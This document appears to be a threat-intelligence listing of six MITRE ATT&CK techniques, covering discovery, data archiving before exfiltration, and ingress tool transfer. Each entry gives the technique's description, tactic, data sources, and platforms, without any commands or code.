Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre